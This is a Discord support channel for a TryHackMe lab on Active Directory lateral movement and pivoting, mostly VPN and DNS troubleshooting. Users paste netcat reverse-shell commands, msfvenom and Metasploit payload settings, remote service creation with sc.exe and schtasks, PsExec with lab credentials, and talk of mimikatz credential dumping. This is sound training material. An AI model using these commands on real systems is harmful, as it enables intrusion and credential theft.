#lateral-movement-and-pivoting

1 messages ยท Page 2 of 1

shadow linden
#

I think even /u:t2_george.kay@za.tryhackme.com could work

lapis ruin
#

@shadow linden thank you for this delight of a room. A lot learned and astonished what you can archive with port forwarding ๐Ÿ™‚ Could run through all the tasks without a single issue.

honest steppeBOT
#

Gave +1 Rep to @shadow linden

slim shuttle
#

I am having trouble with the last task, as my SSH connection is not being established due to (maybe?) DNS problems or dies shortly

#

Using this

ssh za\\natasha.howells@thmjmp2.za.tryhackme.com -L 8888:thmdc.za.tryhackme.com:80 -R 0.0.0.0:6666:127.0.0.1:6666 -R 0.0.0.0:7878:127.0.0.1:7878

to push a couple ports to thmjpm2 and forward the DC:80 port to me

#

Seems like weird network bug to me

#

After 10 tries or so it worked (although cannot open ports on the remote box with -R due to the ssh config haha) ... so yeah definitely a network bug

#

I figured it out, problem is, I was using VPN and Attackbox simultaneously and they both got the same IP address! this fckd up my connectivity I guess

crimson mantle
#

Hi, can anyone access this network? it tells me "Network state: Resetting"

sturdy willow
#

Im getting 404 when downloading the VPN file, even after regenerating the VPN file

shadow linden
sturdy willow
#

worked thanks

glossy tiger
#

Hey can 2 Guys restting this network ? I worked before on it but simple Reversshell was not working, an now the domain is not reachable I have set again "systemd-resolve --interface lateralmovement --set-dns 10.200.75.101 --set-domain za.tryhackme.com
" but still not working and the network state is Running ๐Ÿ˜‰

glossy tiger
#

thx guys

fallow light
#

Is anyone having issues with the ovpn file for this room?

feral granite
#

Have you set the nameserve?

#

Is the network resetting?

#

Have you tried to vote to reset it?

fallow light
#

Yep, I cannot get the actual VPN to connect but the other rooms work fine and the general THM VPN connects fine. It's just the lateral movement and pivoting VPN that fails to connect

feral granite
#

Do you get a cipher error?

fallow light
#

I do not

feral granite
#

Can you post a screenshot of your output?

fallow light
#

Yeah, I tried regenerating the ovpn file from the access page and then rerunning it only to get this

shadow linden
fallow light
#

I'll double check and make sure nothing weird is going on with that

fallow light
#

Okay, this was 100% a problem of PEBKAC

shadow linden
#

Glad it worked in the end!

fallow light
#

I had a terminal tab open where it successfully connected and I just did not realize it

#

Btw thanks a ton @shadow linden I have my OSCP scheduled for Saturday so I'm doing some last minute refreshing and notes cleanup so the stress has me missing some super simple things.

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
fallow light
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
dim bough
#

Hi everyone, I got stuck on task 7 of the 'Lateral Movement and Pivoting' room. I got the first flag but can't get the second one. From the RDP connection I performed local and remote port forwarding with the following command ssh myUser@myIP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878-N then I set metasploit with the following parameters use rejetto_hfs_exec, set payload windows/shell_reverse_tcp, set lhost thmjmp2.za.tryhackme.com, set ReverseListenerBindAddress 127.0.0.1, set lport 7878, set srvhost 127.0.0.1, set srvport 6666, set rhosts 127.0.0.1, set rport 8888 but the result is
[] Started reverse TCP handler on 127.0.0.1:7888
[
] Using URL: http://thmjmp2.za.tryhackme.com:6677/QZKwB2WlEUy
[] Server started.
[
] Sending a malicious request to /
[] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\eakCPsIpwCURmy.vbs' on the target
[
] Exploit completed, but no session was created.

#

I tried to see my port 8888 from the browser and I see the HFS server so port forwarding should work correctly

dim bough
#

It is possible to reset the It is possible to reset the network 10.200.64.0/24? There are 4/5 votes to reset from a lot of time

shadow linden
dim bough
honest steppeBOT
#

Gave +1 Rep to @shadow linden

tall sky
#

having issue setting up the lateral moviment room dns to resolved the creds website. it seems i cannot nslookup the domain controller. any possible solution for that?

shadow linden
tall sky
#

i will log in again

shadow linden
#

oh and you need to verify your account to send screenshots

#

!docs verify

storm charmBOT
tall sky
#

@shadow linden

shadow linden
tall sky
#

yeap

shadow linden
# tall sky yeap

did you run systemd-resolve --interface lateralmovement --set-dns $THMDCIP --set-domain za.tryhackme.com with $THMDCIP replaced with the actual IP of your DC?

tall sky
#

yeap

#

still the same problem

shadow linden
#

can you try doing nslookup THMDC.za.tryhackme.com and send the output

tall sky
shadow linden
#

That's weird... What about ip add show lateralmovement?

tall sky
shadow linden
#

In this case, it is likely the netework needs a reset

#

the DC is probably not working as expected

tall sky
#

it seems like. who should i contact to reset the DC network/

#

?

shadow linden
#

You can just click the reset button in the room

tall sky
#

did 3 times

#

i will try again

shadow linden
#

5 votes are needed for a reset

#

you might need to wait for others to vote, or you can vote again every hour to speed up the process

tall sky
#

sounds good ๐Ÿ˜‰

shrewd kindle
#

Hi, in regards to the techniques in the room, which among are the most consistent?

#

Also, I had some issues with the PTT attack (maybe its because there were a lot of people doing it)

#

I found PTH and PTK attacks more consistent than PTT, maybe its because it allowed me to run commands directly

shadow linden
# shrewd kindle Hi, in regards to the techniques in the room, which among are the most consisten...

In terms of pure consistency, they should all be 100% consistent as they just mimic regular authentication. However some attacks will work in specific network setups and not in others, as administrators may disable some authentication mechanisms that the attack vectors rely on.

Then you also have to take detectability into account. This will also largely depends on the network you are assessing and the blue team behind it. Most of the techniques will theoretically work just as a regular authentication attempt and won't be easily distinguishable from regular users connecting to services. However if you use UserA credentials to login to a server from UserB computer, then your behaviour starts to become suspicious.

There's also some other technicalities to have in mind, as for example, doing a PtK with an RC4 key. If you are assessing a network that isn't decades old, using such a weak protocol might be easily detected as suspicious behaviour, since all machines nowadays will normally use AES instead.

All in all, I guess the best attack is the one that mimics as normal user behaviour, given the specific scenario you are checking.

shrewd kindle
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shrewd kindle
#

This is the current error I get, I'm unable to inject a proper ticket from t1_toby.beck as it doesn't have any tickets I guess when I dumped the tickets. That's why I tried using some leftover tickets

#

This is the mimikatz output when doing the dump

potent meteor
#

Have the same issue with DNS described in #lateral-movement-and-pivoting message
Have tried to reset network, used mentioned "systemd-resolve --interface ...". Still cannot make it work for several days so far:(
I run out of ideas, could you please help? (using Attack box. Interesting that all was fine a week ago)

potent meteor
#

and today distributor IP is resolved by DC but no access neither by http nor with ping/telnet.

potent meteor
#

Update: it just started working after network was reset several times. Looks like smth was broken on the network level for this lab environment.

ocean tree
#

Hi, Is anyone able to ping/connect to the network?
It was working fine a minute back, but now I am unable to connect back.

uneven warren
#

hey, in the port forwarding part, instead of using the given command in the instruction, i tried to use "socat.exe TCP4-LISTEN:8080,fork TCP4:thmdc.za.tryhackme.com:80 |
socat.exe TCP4-LISTEN:6569,fork TCP4:10.50.65.226:6569 |
socat.exe TCP4-LISTEN:7869,fork TCP4:10.50.65.226:7869" which i assume has the same effect as the given command in the instruction (using ssh). But my metasploit said the no session was created, did i made a mistake somewhere?

shadow linden
uneven warren
#

Thank you for your reply, i have already check and confirmed that the port number is correct, when i used the ssh tunnel, i did get a reverse connection, i wonder what was the problem

unborn meadow
#

Hello,
I am just curious because I was able to get a reverse shell via sc.exe and I am nt authority\system on the THMIIS host. But I am unable to get the flag from flag.exe. I cleaned up all of my binaries and deleted the services. Anything else I might be missing?
The only thing I did different was I did not use MSFVenom or MSFConsole

shadow linden
unborn meadow
honest steppeBOT
#

Gave +1 Rep to @shadow linden

unborn meadow
#

Another great network, learned a couple of new things. Thank you @rose kernel and @shadow linden

honest steppeBOT
#

Gave +1 Rep to @rose kernel

narrow yarrow
#

Task 7, with metasploit I can't get a reverse shell:

[-] Command shell session 3 is not valid and will be closed

I'm sure I've set up it right. Maybe the network need a reset?

thick patrol
#

on task5. from those statement mean that after passing the ticket from mimikatz prompt, then we can exit to normal prompt and now our current session/token already change into Administrator? is my understanding correct?

shadow linden
#

you can check the loaded tickets with klist

thick patrol
barren frost
#

For task 5 on thmjnp2 it starts with mimikatz but you don't have adm priv

#

Is that a hidden challenge or am I missing something?

shadow linden
shadow linden
thick patrol
honest steppeBOT
#

Gave +1 Rep to @shadow linden

serene vessel
#

@barren frost Please do not try to ping everyone, I'm sure not everyone wants to get a ping from you ๐Ÿ™‚

barren frost
#

Thanks mate, won't do it again๐Ÿ‘

inland oracle
#

Need a bit of help;
It's asking me to run this command on the victims machine:
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
but the victim machine does not have nc64.exe, am I meant to upload nc64 to the victim's machine?

winter birch
#

Hello guys
Have a problem
Can't connetc to RDP on THMJMP2
It types "The username or password are incorrect"

Tried with 3 different credetials

shadow linden
shadow linden
inland oracle
shadow linden
inland oracle
#

doesn't matter, I tried using nc but I'm not recieving a shell back, repeated the steps 3 times and I'm getting nothing :/

winter birch
flint pumice
#

Hello need some clarification regarding some commands. In task 3 I tried all of the techniques explained but got stuck in two which would not work:

  1. Psexec returns an access is denied message with the commands
PsExec64.exe \\thmiis.za.tryhackme.com -u t1_leonard.summers -p EZpass4ever -i cmd.exe -accepteula
PsExec64.exe \\thmiis.za.tryhackme.com -u ZA.TRYHACKME.COM\t1_leonard.summers -p EZpass4ever -                
i "C:\tools\nc64.exe -e cmd.exe my_ip 1234"
  1. After uploading the myservice.exe payload and getting the flag file, I tried to perform the same attack with schtasks but for some reason I am not able to get a reverse shell. I used runas because at first I was getting an access is denied message. I had a listener waiting with /multi/handler.
runas /netonly /user:za.tryhackme.com\t1_leonard.summers "schtasks /s 10.200.98.201 /RU \"SYSTEM\" /create /tn nabecosTHM2 /tr \"%windir%\nabecos.exe\" /sc ONCE /sd 01/01/1970 /st 00:00"

runas /netonly /user:za.tryhackme.com\t1_leonard.summers "schtasks /s 10.200.98.201 /run /TN nabecosTHM2"
shadow linden
flint pumice
#

Yah by reading some of the answers above I kind of understood that so I performed two additional attempts:

  1. 
    

PsExec64.exe \thmiis.za.tryhackme.com -u ZA.TRYHACKME.COM\t1_leonard.summers -p EZpass4ever -accepteula -i "c:\tools\nc64.exe -e cmd.exe 10.50.95.55 4445"```
What I think this should do is first I get a shell with elevated privileges and then I try to get another shell to IIS using the nc64.exee binary inside the tools folder. Unfortunately it says the path to the file does not exists or something? I even checked if the file had a different name but it existed. My syntax probably is wrong

#
  1. I also tried with cmd.exe in the second command but it exited with code 0 or something which I alreeady saw on an earlier response why it happens so Im ok with that
shadow linden
#

For your second problem, my guess is that it has something to do with the double-quote escaping. CMD is quite weird with that. Did you try to run the command and check if the task is created as you'd expect? or maybe replacing %windir% with C:\windows\ just for a sanity check?

flint pumice
#

Did that and I checked that the service was created so the problem must be on the command that executes the payload but I am gonna try double check again!

errant stump
#

Hi, I have not checked if the explanation of why it was not working was told.
I had the same problem, the only thing I did differently was using a different port than 4444, when I used 4444 it worked (I was using 1337)

I reply to you just so you know what might be happening

brave root
#

โ””โ”€$ cat /etc/resolvconf/resolv.conf.d/tail

nameserver 10.200.78.101
nameserver 8.8.8.8
search za.tryhackme.com

fast dust
#

Can anyone vote to the reset this room?

I think someone was messing arround with it and deleted the flag of t1_toby.beck Desktop directory

feral granite
#

Which subnet are you on?

There is multiple.

dull gust
#

maybe im trolled or making huge mistake, but no mimikatz, just trying to learn lol

split dew
#

also confirming: no mimikatz in C:\tools in thmjmp2

dull gust
#

i requested a reset but was 4/5

bitter light
#

Hello all! Simple question here. In task 3, it tells us to SSH into THMJMP2 with the initial access given in task 1. Then it gives us the credentials for a tier 1 admin. After, it says that we'll learn how to use those credentials to move laterally to THMIIS using sc.exe. I'm kind of confused; are we supposed to SSH using the new credentials or use sc.exe to create a remote session? The confusion is also because right after that, the room says that we'll be setting up a payload of some sort.

noble musk
split dew
brave root
#

In Task7: Port Forwarding:-
C:> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N

instead of ip add, if we give 127.0.0.1, how it will identify source and destination ?

meager shore
#

having trouble with downloading latermal movement network vpn config file trying to import for lateral movement and pivoting section its like on a loop saying connected then keeps refreshing and dcing

full drum
meager shore
#

oh yeah good idea thanks ๐Ÿ™‚

full drum
#

that would generally make it switch your subnet around which sometimes helps

meager shore
#

with task 3 is the machine ip something to do with the dns ip or domain controller or my host machine ip lol

bronze pulsar
bitter light
#

Hello all! Trying to connect to the OVPN on my personal Kali box, but I keep getting these messages. It happens often, I usually just stop working on the room for a day or two and when I come back to it, it's fixed

#

this one is specific to the room, which is why im posting it here. If it doesn't belong here, please let me know!

EDIT: Fixed it by regenerating a new ovpn file, but I'd still like to know why this happens

meager shore
#

ive set up a listner using metasploit but this command wont run without a password not too sure

azure yew
#

Is the distributor.za.tryhackme.com and/or DNS down in the network? I cannot resolve anything. I did not have any issues with the other networks. so I doubt it is my setup... I voted to reset. 2/4 Anyone else experiencing problems ?

feral granite
#

You look like you're connected,

#

Can you do ip a s ?

sly scarab
#

Is this (you should receive a connection in your AttackBox from where you can access the first flag on t1_leonard.summers desktop.) supposed to bereceivec by reverse TCP handler on port 4444?

strange nexus
#

hello,everyone.i can't connect to the vpn ? why ?

#

2023-05-11 16:45:23 --cipher is not set. Previous OpenVPN version defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2023-05-11 16:45:23 OpenVPN 2.5.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jul 5 2022
2023-05-11 16:45:23 library versions: OpenSSL 3.0.5 5 Jul 2022, LZO 2.10
2023-05-11 16:45:23 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2023-05-11 16:45:23 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2023-05-11 16:45:23 TCP/UDP: Preserving recently used remote address: [AF_INET]54.194.161.223:1194
2023-05-11 16:45:23 Socket Buffers: R=[131072->131072] S=[16384->16384]
2023-05-11 16:45:23 Attempting to establish TCP connection with [AF_INET]54.194.161.223:1194 [nonblock]

languid turret
#

Hello there, I'm on the room "Lateral Movement and Pivoting" Task 3 "Spawning Processes Remotely". I have done everything, I'm connected as "t1_leonard.summers" but when i run the "Flag.exe" in the desktop it says "Sorry! You are still missing something. No flag for you yet. (7)".
Can i get some help pls ?

potent meteor
#

In Task 3, the command
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
According to the task this is supposed to start a reverse shell on attacker machine from thmjmp2 as t1_leonard.summers. But the reverse shell recieved is the user I requested from the "distrubutor" site. That supposed to happen?

#

No problems completing the task tho.

potent meteor
potent meteor
#

I have the same problem with task 4

#

Was using a different port.

potent meteor
#

Yep very likely numbers at the end are debug codes.

#

From what I can test:

#

1 might be Insufficient Privileges (running Flag.exe as t1_corine.waters for Task 4)

#

7 might be wrong port

#

5 might be sufficient privileges but wrong method.

languid turret
honest steppeBOT
#

Gave +1 Rep to @tranquil lynx

languid turret
#

Usually i always use a personalised port but when i saw it wasn't working i tried again with the ports given by the task and it didnt workd

#

I will try again soon and stick on the port asked

potent meteor
#

People are dumping .kirbi tickets directly in C:\tools. ๐Ÿ˜ž

At least move it to C:\Temp or somewhere else.....

cedar badge
#

hey guys

#

i need help plz

#

I've done the configuration several times and I can't access the dns anymore

#

I followed these steps as I did the other times

#

Network Manager -> Advanced Network Configuration -> Your Connection -> IPv4 Settings
Set your DNS IP here to the IP for THMDC in the network diagram above
Add another DNS such as 1.1.1.1 or similar to ensure you still have internet access
Run sudo systemctl restart NetworkManager and test your DNS similar to the steps above.

#

but still not working... I can only access by ip

sharp imp
#

have you tried just adding the THMDC ip manually to /etc/resolve.conf?

#

ah reply bit late.... well done discord client....

sharp imp
#

looks like mimikatz is missing, is this intentional?

shadow linden
sharp imp
#

kinda burned out my enthusiasm for today on this lab, did upload my own copy but the user I was after looked to be missing, so network would need to be reset?

#

but thanks for fixing ๐Ÿ‘

#

will poke at it again tomorrow. Task 5 BTW

burnt pendant
#

I'm having trouble with task 3 of this room, here's my commands and output in the end:

attackbox: msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.17.193 LPORT=9001 -o pwnserv.exe

attackbox: 
smbclient -c 'put pwnserv.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/'
EZpass4ever

msfconsole -q -x use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 9001;exploit

attackbox: ssh t1_leonard.summers@za.tryhackme.com@thmjmp2.za.tryhackme.com
attackbox: nc -lvp 4443
in ssh: runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.17.193 4443"
EZpass4ever

in nc -lvp revshell:

sc.exe \\thmiis.za.tryhackme.com create pwnserv binpath= "%windir%\pwnserv.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start pwnserv


msf6 exploit(multi/handler) > set LHOST lateralmovement
LHOST => 10.50.17.193
msf6 exploit(multi/handler) > ste LPORT 9001
[-] Unknown command: ste
msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.50.17.193:9001 
[-] Command shell session 1 is not valid and will be closed
[*] 10.200.19.201 - Command shell session 1 closed.
#

TL;DR: I followed the steps as described in the walkthrough but still cannot get an actual reverse shell going

#

I've tried following a writeup, that also didnt work

burnt pendant
floral wyvern
#

having quite a time getting a lsass dump from win11 22h2 to parse with pypykatz/mimikatz, trying to show cached credentials for a training thing, I have updated everything and they both are not able to do it, anyone know possibly why? The dump looks okay in windbg. took various ways, taskmgr, comsvcs.dll, procdump64, with appropriate perms, RunAsPPL=0. Trying to think what else might be the cause, unless the structure is changed again recently? does this attack still work?

burnt pendant
#

Edit: I am stupid in the head I think the flag.exe is missing from the desktop?

#

nvm

#

Let me know when THM adds a module that teaches me how to read, I am actually dumb

icy sail
#

Hi All, need some suggestion as I am not able to start the room I have configured my machine to have the lateralmovement interface have the DNS specified int he network but I am still not able to access the http://distributor.za.tryhackme.com/creds file. Can someone advise if I might be missing somethin g

#

I don't know what's wrong at times it works at times it doesn't is the network unstable ?

#

Anyone from the THM staff here, I've wasted whole day trying to fox the DNS issues and unfortunately it's still fluctuating.

elder arch
#

I am facing an issue while configuring the dns

#

I am not able to connect with AD

#

it gave me an error as a message : `"could not be reached"

cold bane
#

Btw, does anybody know why in task 5 I can only login to "THMIIS" with the NTLM hash from Toby? Wasted an hour because I tried logging into the IP of THMJMP2 instead. No clue why this doesn't work...

tight flame
# icy sail

Do you have 'dig'? Can you dig distributor.za.tryhackme.com?

dig @10.200.48.101 distributor.za.tryhackme.com?

Do you have a route to 10.200.48.x in ip r?

Is an internet DNS server taking precedence in /etc/resolv.conf?

fallen tulip
#

struggling with the DNs settings for this lab, I am using my own Kali VM and I've followed the DNS adjustment instructions in the room. I've added both the IP of the DC and 1.1.1.1 to additional DNS server in my network configuration however I stil cannot confirm access to the http://distributor.za.tryhackme.com/creds endpoint, any thoughts?

#

Here are the contens of my /etc/resolv.conf

warm edge
fickle walrus
#

down?

feral granite
full drum
#

welp either shadows copy and pasting passwords is not working

#

or someone changed the password for the leonard user

#
C:\Windows\system32>sc.exe \\thmiis.za.tryhackme.com create shadowservice-3249 binPath= "c:\Windows\shadowservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com create shadowservice-3249 binPath= "c:\Windows\shadowservice.exe" start= auto
[SC] OpenSCManager FAILED 5:

Access is denied.


C:\Windows\system32>
#

oh wait a min

#

never mind.... still same problem

#

guess either shadow gotta try another subnet

#

or wait for resets to go through

quartz anvil
#

Hello,
Iโ€™m having issues configuring dns and connecting to domain.
Even after setting dns with systemd-resolve conmand , nothing works.
Please Advice

warm edge
#

It always return

ssh: connect to host thmjmp2.za.tryhackme.com port 22: No route to host
#

Seems like it needs a reset

full drum
#

on the attackbox or on your own kali vm???

warm edge
#

Can someone vote reset?

full drum
quartz anvil
warm edge
warm edge
full drum
quartz anvil
warm edge
#

Yeah I stucked for 3 hours, feels bad

full drum
# warm edge My VM

for your own vm:s you either edit the /etc/resolv.conf or use networkmanager to change the dns

#

well you can vote once every hour

warm edge
full drum
#

well now you know

#

also stating your subnet when asking for resets in here helps as not everyone are on the same subnet

warm edge
full drum
#

no problem and hope you can get it working

full drum
#

....

#

oh that is your attack machines ip:s

#

the subnets look like 10.200.x.something

quartz anvil
#

Oh sorry โ€ฆthatโ€™s 10.200.64.x

full drum
#

no problem... common mistake

quartz anvil
#

Looks like I need to wait for 1 more hour if no one votes

warm edge
#

And hopefully no one extends

quartz anvil
#

Yea

full drum
#

yay first actual flag for this network gotten

warm edge
#

Wutt?

#

you can access the machine?

quartz anvil
#

I still cannot connect even after reset

quartz anvil
#

Can anyone help pleaseโ€ฆIโ€™m stuck

full drum
#

hmmm

#

!docs verify

storm charmBOT
full drum
#

then we can go through some pictures of where things might have gone wrong

fading orbit
#

Now i'm not sure if it was someone here, but whilst I was hosting a listener on the current 10.200.71.x network someone attempted to connect to it from 10.50.65.120

#
listening on [any] 4443 ...
connect to [10.50.<snip>] from (UNKNOWN) [10.50.65.120] 46800```
#

Not sure if this is something automated or possibly another user targeting my vm, but had me a lil spooked

rare mango
#

@azure bronze

azure bronze
#

Iโ€™ll take a look in a bit^

full drum
#

likelyhood that they typoed the ip??? not super high but also not super low... but jabba will deal with it

iron coyote
#

There seems to be a problem still with lateroralmovememnt. It has been reset but still shows 4/5 requests for a reset. The VPN connection looks fine but pinging the servers nor traceroute work. it is to possible to curl to the distribution server either.

fading orbit
#

I've found the connection to this room can be quite pedantic at first (with no real idea of why), resetting helped me connect to the AD server after everything else was correctly configured on my kali vm.

#

It was quite a major ballache to get the kali attackboxes to work with the network rooms, given no access to control the ivp4 settings, systemd-resolve being depreciated (resulting in needing to install resolvectl and some substantial update packages) or manually editing /etc/resolv.conf whilst also including backup dns servers so you dont lose internet access

rough hinge
#

are you guys able to ping the THMDC machine ? it worked well like 2 days ago, and now its gone

rough hinge
fading orbit
#

You on the .106.x network? my access cycled and now it's gone back to not detecting the DC

fading orbit
#

Finally got a restart to trigger, lets see if that did the trick..

#

Reading through here, some mentions of this turning into a zombie network due to the 'extend' function breaking in the past but not sure if that'd been resolved since 2022

#

And resetting did the trick, annoyingly

fading orbit
#

...and now the mimikatz binary disappeared mid-use?

proven cradle
#

no tools in c folder ๐Ÿ˜ซ

#

what i do now

#

lateral room

#

i need the socat

fading orbit
#

This is thmjmp2 right?

#

Worst case, you may have to wait for the network to expire and reset, though you can manually upload the tools if you know where to get the correct binaries

quiet eagle
#

Anyone else having issues connecting to the network?

nslookup thmdc.za.tryhackme.com
;; connection timed out; no servers could be reached
quiet eagle
# feral granite can you `cat /etc/resolv.conf`

Hi @feral granite , of course:

root@ip-10-10-16-164:~# cat /etc/resolv.conf
# This file is managed by man:systemd-resolved(8). Do not edit.
#
# This is a dynamic resolv.conf file for connecting local clients to the
# internal DNS stub resolver of systemd-resolved. This file lists all
# configured search domains.
#
# Run "systemd-resolve --status" to see details about the uplink DNS servers
# currently in use.
#
# Third party programs must not access this file directly, but only through the
# symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a different way,
# replace this symlink by a static file or a different symlink.
#
# See man:systemd-resolved.service(8) for details about the supported modes of
# operation for /etc/resolv.conf.

nameserver 127.0.0.53
options edns0
search za.tryhackme.com eu-west-1.compute.internal
feral granite
quiet eagle
#

as an extra nameserver I assume?

feral granite
#

Yes.

quiet eagle
# feral granite Yes.

so the file now looks like:

# operation for /etc/resolv.conf.
nameserver 10.200.64.101
nameserver 127.0.0.53
options edns0

However sadly still:

root@ip-10-10-16-164:~# nslookup thmdc.za.tryhackme.com
;; connection timed out; no servers could be reached
feral granite
#

Is the network running?

quiet eagle
#

should be

#

hm cant post a screenshot it seems but yes it is

#

Network state: Running
Network up time: 34m

quiet eagle
#

I'll call it a day for today and see if this resolves itself by the network resetting at some point. Thanks for trying to help @feral granite

honest steppeBOT
#

Gave +1 Rep to @feral granite

quartz anvil
#

Hello,
I cannot complete task 3 as running sc.exe is giving me access denied errorโ€ฆAny one know what could be the reason?

unborn relic
#

In my instance, I think the leonard user password has been changed. It may be the same for you. I have been waiting a couple days for it to eventually reset.

#

If your nc with runas gives you back the wrong user, that means the authentication failed This is an incorrect statement. FYI.

full drum
#

yeah hit reset button or wait for the network to stop by itself and then start it again

quartz anvil
unborn relic
quartz anvil
full drum
#

technically you can play subnet roulette too but less needed now

unborn relic
honest steppeBOT
#

Gave +1 Rep to @full drum

full drum
#

lol you understood shadows message about subnet roulette

upbeat owl
#

Is the network for this room just totally busted?

#

It doesn't appear that it can even be reset; when I try to it says that it's resetting, but then when I referesh it goes back to saying 4/5 votes and I can't access any of the IP addresses.

#

Made a support ticket but ยฏ_(ใƒ„)_/ยฏ

feral granite
quartz anvil
upbeat owl
feral granite
upbeat owl
full drum
strange iron
#

@rose kernel I finally got the chance to work my way through "Compromising Active Directory". I'm currently preparing for OSCP, and these rooms are a significant contribution to my understanding. I just want to thank you and the other creators for these rooms ๐Ÿ˜„

honest steppeBOT
#

Gave +1 Rep to @rose kernel

rose kernel
honest steppeBOT
#

Gave +1 Rep to @strange iron

snow pumice
#

Waiting on my network to reset. How long does it normally take?

snow pumice
#

This AD network has been the most frustrating so far.

snow pumice
#

Anyone have advice on working on this one? I can't get the network to reset it's stuck at 4/5 for the past 24 hours.

snow pumice
#

I can't reach the IP of the dc for this one. I've checked my routing table and it shows a route to the network the dc is in but I still can't reach anything in the network. Is there something I'm missing?

shadow linden
#

This won't affect your progress in the room btw

snow pumice
honest steppeBOT
#

Gave +1 Rep to @shadow linden

stoic depot
stoic depot
#

Answer: Don't forget to run the terminal as administrator ๐Ÿ˜…

full drum
#

yuup common mistake right there

finite garden
#

Somebody problems with the network connection?

remote vessel
#

did someone delete mimikatz from network 91?

#

it disappeared but instead i have a bunch of .kirbi files

remote vessel
#

lol the program just disappeared right in front of my eyes, is windows defender running on these machines?

#

windows defender is killing it

elfin gyro
#

you can disable realtime monitoring

remote vessel
#

it's not my machine though

#

will need to disable defender next iteration of the network

elfin gyro
#

it will kick back in automatically, no biggie

remote vessel
#

the i need to be fast

#

it let me use mimikatz for quite some time before getting rid of it

elfin gyro
#

kind of strange, but someone else could have disabled it before you for a while

#

the other thing you can do is set an exclusion folder

wanton sundial
#

someone restart the machine!

feral granite
tough gust
#

I can't connect to openvpn in this room

#

sudo openvpn lateralmovementandpivoting.ovpn
2023-08-25 23:34:28 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2023-08-25 23:34:28 Note: cipher 'AES-256-CBC' in --data-ciphers is not supported by ovpn-dco, disabling data channel offload.
2023-08-25 23:34:28 OpenVPN 2.6.3 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2023-08-25 23:34:28 library versions: OpenSSL 3.0.9 30 May 2023, LZO 2.10
2023-08-25 23:34:28 DCO version: N/A
2023-08-25 23:34:28 TCP/UDP: Preserving recently used remote address: [AF_INET]52.214.166.96:1194
2023-08-25 23:34:28 Socket Buffers: R=[131072->131072] S=[16384->16384]
2023-08-25 23:34:28 Attempting to establish TCP connection with [AF_INET]52.214.166.96:1194
2023-08-25 23:34:49 TCP: connect to [AF_INET]52.214.166.96:1194 failed: Connection refused
2023-08-25 23:34:49 SIGUSR1[connection failed(soft),connection-failed] received, process restarting
2023-08-25 23:34:49 Restart pause, 1 second(s)

#

but no use

tribal solar
weary mist
#

Is there anyone with this same issue?

Can't connect to the Lateralmovementandpivoting VPN:
Pinging 10.50.61.172 with 32 bytes of data:
Request timed out.

Even the attackbox doesn't ping the THMDC:
PING 10.200.64.101 (10.200.64.101) 56(84) bytes of data.
From 10.50.61.1 icmp_seq=1 Destination Host Unreachable

potent meteor
weary mist
potent meteor
#

Allright, FYI, I tried this noon and it worked this time.

weary mist
honest steppeBOT
#

Gave +1 Rep to @supple warren

zinc sluice
#

hi, good morning everyone
please can responder capture hashes through proxychains?

steel saffron
#

Hi, I'm trying to solve this room and couldnt find the DC via nslookup

#

I've left the room and joined again couple times and got the same result

potent meteor
mystic dune
#

I configured the DNS as indicated in the guide and it doesn't appear to be working for me either. The lateralmovement interface is up and I'm getting an IP but I can't reach any of the target hosts (DC, jumpbox, etc...)

potent meteor
#

hello, Im on a ctf right now that has a word press site hosted on the target. I got admin to the wordpress site, does anyone know if there are ways to get from WP site to the underlying server?

hazy egret
potent meteor
#

aight

steel saffron
#

I can get the creds, but the nslookup command doesn't work

potent meteor
steel saffron
#

@potent meteor your'e right, thanks ๐Ÿ˜—

honest steppeBOT
#

Gave +1 Rep to @supple warren

potent meteor
steel saffron
#

hi guys

errant plaza
#

Hi guys!
ho know what happens with lab?

ancient pilot
#

Hey, I'm having some trouble to complete Lateral Movement task 7, Tunneling Complex Exploits. After setting all the metasploits options I got this result:
[] Started reverse TCP handler on 127.0.0.1:8989
[
] Using URL: http://thmjmp2.za.tryhackme.com:7777/wTPndpwdZls3vfc
[] Server started.
[
] Sending a malicious request to /
[] Server stopped.
[
] Exploit completed, but no session was created.

I've already have an SSH connection with tunneluser.
On that connection I got the following messge after running metasploit:
"connect_to thmdc.za.tryhackme.com port 80: failed."

#

Any idea?

ancient pilot
#

The server needs to be restarted......plx.

feral granite
ancient pilot
feral granite
ancient pilot
# feral granite Yeah, but if you want people to reset the server, you're going to have to state ...

ok, thx. Maybe you can tell me what the error was about...
After setting all the metasploits options I got this result:
[] Started reverse TCP handler on 127.0.0.1:8989
